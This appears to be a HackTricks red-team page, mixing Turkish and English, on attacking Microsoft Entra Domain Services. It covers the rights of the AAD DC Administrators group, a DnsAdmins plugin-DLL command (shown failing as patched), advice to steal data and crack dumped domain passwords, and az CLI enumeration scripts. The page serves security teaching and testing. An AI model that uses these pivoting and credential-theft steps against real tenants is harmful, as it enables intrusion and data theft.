Az - Microsoft Entra Domain Services

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Domain Services

Microsoft Entra Domain Services, Domain Controllers’ı yönetmeye gerek kalmadan Azure’da Active Directory dağıtmanıza olanak tanır (aslında onlara erişiminiz bile yoktur).

Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin sorgularının her zaman on-premises AD DS ortamına geri dönmesini istemediğiniz legacy uygulamaları bulutta çalıştırmanıza izin vermektir.

Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to change the password of the user to a new one so it can be synchronized with the new AD. Actually, the user isn’t synchronized from Microsoft Entra ID to Domain Services until the password is changed.

Warning

Yeni bir active directory domain’i oluştursanız bile onu tamamen yönetemeyeceğinizi unutmayın (bazı yanlış yapılandırmalar istismar edilmedikçe); bu da varsayılan olarak örneğin AD içinde doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Onları Entra ID’den kullanıcı senkronize ederek oluşturursunuz. Tüm kullanıcıları (diğer on-premise AD’lerden senkronize edilenler dahil), yalnızca cloud kullanıcıları (Entra ID’de oluşturulan kullanıcılar) veya daha fazla filtreleyerek senkronize edecek şekilde belirtebilirsiniz.

Note

Genel olarak, yeni domain’in yapılandırmasındaki esneklik eksikliği ve AD’lerin genellikle zaten on-premise olması nedeniyle, bu Entra ID ile AD arasındaki ana entegrasyon değildir; ancak yine de nasıl ele geçirileceğini bilmek ilginçtir.

Pivoting

Oluşturulan AAD DC Administrators grubunun üyelerine, yönetilen domaine domain-joined olan VM’lerde local admin izinleri verilir (ancak domain controllers üzerinde değil), çünkü local administrators grubuna eklenirler. Bu grubun üyeleri ayrıca domain-joined VM’lere uzaktan bağlanmak için Remote Desktop kullanabilirler ve şu grupların üyeleridirler:

  • Denied RODC Password Replication Group: Bu grup, şifreleri RODC’lerde (Read-Only Domain Controllers) cachelenemeyecek kullanıcıları ve grupları belirtir.
  • Group Policy Creators Owners: Bu grup, üyelerinin domain içinde Group Policies oluşturmasına izin verir. Ancak üyeleri kullanıcı veya gruplara group policy uygulayamaz veya mevcut GPO’ları düzenleyemez, bu yüzden bu ortamda çok ilginç değildir.
  • DnsAdmins: This group allows to manage the DNS settings and was abused in the past to escalate privileges and compromise the domain, however after testing the attack in this environment it was checked that the vulnerability is patched:
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Note that to grant these permissions, inside the AD, the group AAD DC Administrators group is made a member of the previous groups, and also the GPO AADDC Computers GPO is adding as Local Administrators all the members of the domain group AAD DC Administrators.

Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group AAD DC Administrators, access via RDP to any/all the machines in the domain and you will be able to steal data and also compromise the domain.

However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also dump all the users passwords from the domain and try to crack them to then login into Entra ID / Azure.

Note

Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, like this one. An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

Keşif

# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin